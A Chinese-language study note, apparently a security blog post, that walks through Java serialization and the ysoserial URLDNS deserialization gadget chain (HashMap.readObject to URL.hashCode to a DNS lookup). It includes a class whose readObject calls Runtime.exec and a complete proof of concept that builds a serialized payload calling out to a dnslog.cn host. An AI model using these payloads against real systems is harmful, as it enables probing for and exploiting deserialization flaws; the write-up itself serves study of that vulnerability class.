Java反序列化之URLDNS利用链分析学习笔记

首发于阿里云先知社区,https://xz.aliyun.com/t/9417

Java反序列化

我们都知道一个对象只要实现了Serilizable接口,这个对象就可以被序列化,java的这种序列化模式为开发者提供了很多便利,我们可以不必关系具体序列化的过程,只要这个类实现了Serilizable接口,这个类的所有属性和方法都会自动序列化。

Java 序列化是指把 Java 对象转换为字节序列的过程

  • ObjectOutputStream类的 writeObject() 方法可以实现序列化

Java 反序列化是指把字节序列恢复为 Java 对象的过程

  • ObjectInputStream 类的 readObject() 方法用于反序列化。

实现java.io.Serializable接口才可被反序列化,而且所有属性必须是可序列化的
(用transient 关键字修饰的属性除外,不参与序列化过程)

User.java(需要序列化的类)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package Serialization;

import java.io.Serializable;

public class User implements Serializable{
private String name;
public void setName(String name){
this.name=name;
}

public String getName() {
return name;
}
}

Main.java(序列化和反序列化)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package Serialization;

import java.io.*;

public class Main {
public static void main(String[] args) throws Exception {
User user=new User();
user.setName("LearnJava");

byte[] serializeData=serialize(user);
FileOutputStream fout = new FileOutputStream("user.bin");
fout.write(serializeData);
fout.close();
User user2=(User) unserialize(serializeData);
System.out.println(user2.getName());
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}

查看user.bin文件,

1
2
3
4
5
00000000: aced 0005 7372 0012 5365 7269 616c 697a  ....sr..Serializ
00000010: 6174 696f 6e2e 5573 6572 ade4 cb02 ab94 ation.User......
00000020: b2b9 0200 014c 0004 6e61 6d65 7400 124c .....L..namet..L
00000030: 6a61 7661 2f6c 616e 672f 5374 7269 6e67 java/lang/String
00000040: 3b78 7074 0009 4c65 6172 6e4a 6176 61 ;xpt..LearnJava

根据序列化规范,aced代表java序列化数据的magic wordSTREAM_MAGIC,0005表示版本号STREAM_VERSION,73表示是一个对象TC_OBJECT,72表示这个对象的描述TC_CLASSDESC

readObject()方法

从JAVA反序列化RCE的三要素(readobject反序列化利用点 + 利用链 + RCE触发点)来说,是通过(readobject反序列化利用点 + DNS查询)来确认readobject反序列化利用点的存在。

实现了java.io.Serializable接口的类还可以定义如下方法(反序列化魔术方法)将会在类序列化和反序列化过程中调用:

  • private void writeObject(ObjectOutputStream oos),自定义序列化
  • private void readObject(ObjectInputStream ois),自定义反序列化

readObject()方法被重写的的话,反序列化该类时调用便是重写后的readObject()方法。如果该方法书写不当的话就有可能引发恶意代码的执行:

Evil.java

1
2
3
4
5
6
7
8
9
10
11
12
13
package EvilSerializtion;

import java.io.*;

public class Evil implements Serializable{
public String cmd;

private void readObject(java.io.ObjectInputStream stream) throws Exception{
stream.defaultReadObject();
Runtime.getRuntime().exec(cmd);
}
}

Main.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package EvilSerializtion;

import java.io.ByteArrayOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main {
public static void main(String[] args) throws Exception {

Evil evil = new Evil();
evil.cmd = "open /System/Applications/Calculator.app";

byte[] serializeData = serialize(evil);
unserialize(serializeData);
}

public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}

public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}

}

URLDNS

URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:

  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用

ysoserial中列出的Gadget:

1
2
3
4
5
*   Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()

原理:

java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

HashMap#readObject:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private void readObject(java.io.ObjectInputStream s) // 读取传入的输入流,对传入的序列化数据进行反序列化
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

关注putVal方法,putVal是往HashMap中放入键值对的方法,这里调用了hash方法来处理key,跟进hash方法:

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里又调用了key.hashcode方法,而key此时是我们传入的 java.net.URL 对象,那么跟进到这个类的hashCode()方法看下

URL#hashCode

1
2
3
4
5
6
7
public synchronized int hashCode() {  // synchronized 关键字修饰的方法为同步方法。当synchronized方法执行完或发生异常时,会自动释放锁。
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

当hashCode字段等于-1时会进行handler.hashCode(this)计算,跟进handler发现,定义是

1
transient URLStreamHandler handler; // transient 关键字,修饰Java序列化对象时,不需要序列化的属性

那么跟进java.net.URLStreamHandler#hashCode()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();

// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();

// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}

u 是我们传入的url,在调用getHostAddress方法时,会进行dns查询。

这是正面分析的流程。

回到开始的Hashmap#readObject

1
2
3
4
5
6
7
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);

key 是从K key = (K) s.readObject(); 这段代码,也是就是readObject中得到的,说明之前在writeObject会写入key

Hashmap#writeObject

1
2
3
4
5
6
7
8
9
private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
int buckets = capacity();
// Write out the threshold, loadfactor, and any hidden stuff
s.defaultWriteObject();
s.writeInt(buckets);
s.writeInt(size);
internalWriteEntries(s);
}

最后调用了internalWriteEntries 方法,跟进一下具体实现:

1
2
3
4
5
6
7
8
9
10
11
12
// Called only from writeObject, to ensure compatible ordering.
void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
Node<K,V>[] tab;
if (size > 0 && (tab = table) != null) {
for (int i = 0; i < tab.length; ++i) {
for (Node<K,V> e = tab[i]; e != null; e = e.next) {
s.writeObject(e.key);
s.writeObject(e.value);
}
}
}
}

这里的key以及value是从tab中取的,而tab的值即HashMap中table的值。

想要修改table的值,就需要调用HashMap#put方法,而HashMap#put方法中也会对key调用一次hash方法,所以在这里就会产生第一次dns查询:

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

为了避免这一次的dns查询(防止本机与目标机器发送的dns请求混淆),ysoserial 中使用SilentURLStreamHandler 方法,直接返回null,并不会像URLStreamHandler那样去调用一系列方法最终到getByName,因此也就不会触发dns查询了

1
2
3
4
5
6
7
8
9
10
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

除了这种方法还可以在本地生成payload时,将hashCode设置不为-1的其他值。

URL#hashCode

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

如果不为-1,那么直接返回了。也就不会进行handler.hashCode(this);这一步计算hashcode,也就没有之后的getByName,获取dns查询

1
2
3
4
5
6
7
8
9
/**
* The URLStreamHandler for this URL.
*/
transient URLStreamHandler handler;

/* Our hash code.
* @serial
*/
private int hashCode = -1;

而hashCode是通过private关键字进行修饰的(本类中可使用),可以通过反射来修改hashCode的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package demo;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;

public class Main {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://7gjq24.dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); // 反射获取URL类中的hashCode
f.setAccessible(true); // 绕过Java语言权限控制检查的权限
f.set(url,123);
System.out.println(url.hashCode());
map.put(url,123); // 调用HashMap对象中的put方法,此时因为hashcode不为-1,不再触发dns查询

}

}

完整的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package demo;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;


public class Main {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://7gjq24.dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true); // 绕过Java语言权限控制检查的权限
f.set(url,123); // 设置hashcode的值为-1的其他任何数字
System.out.println(url.hashCode());
map.put(url,123); // 调用HashMap对象中的put方法,此时因为hashcode不为-1,不再触发dns查询
f.set(url,-1); // 将hashcode重新设置为-1,确保在反序列化成功触发

try {
FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);

outputStream.writeObject(map);
outputStream.close();
fileOutputStream.close();

FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
inputStream.readObject();
inputStream.close();
fileInputStream.close();
}
catch (Exception e){
e.printStackTrace();
}

}

}

再来调试下 ysoserial中的 URLDNS 模块,设置debug参数:

URLDNS "http://7mczz6.dnslog.cn"

直接debug报错:

改一下Project 和 Moudles中的 Project language level ,其实就是所有都设置成一样的,包括pom.xml,实在不行,重新 git pull 重新导入idea 也能解决

下断点进行单步调试,最后看这里

方法之间的调用也很清楚的展示了出来。

借用一位师傅总结的 gadgets:

JDK1.8下的调用路线:

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

而在jdk1.7u80环境下调用路线会有一处不同,但是大同小异:

  1. HashMap->readObject()
  2. HashMap->putForCreate()
  3. HashMap->hash()
  4. URL->hashCode()
  5. 之后相同

参考资料

感谢:

https://wx.zsxq.com/dweb2/index/topic_detail/244415545824541

https://www.t00ls.net/articles-50486.html

https://wx.zsxq.com/dweb2/index/topic_detail/548242484442524

https://xz.aliyun.com/t/6787

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

https://www.liaoxuefeng.com/wiki/1252599548343744/1255945147512512

https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/

https://paper.seebug.org/1242/#urldns

https://www.yuque.com/tianxiadamutou/zcfd4v/fewu54

https://www.anquanke.com/post/id/201762

https://medium.com/@m01e/ysoserial-urldns%E6%A8%A1%E5%9D%97%E5%88%86%E6%9E%90-33c80154f56f

https://crossoverjie.top/2018/01/14/Synchronize/

Author: m0nk3y
Link: https://hack-for.fun/65bb.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.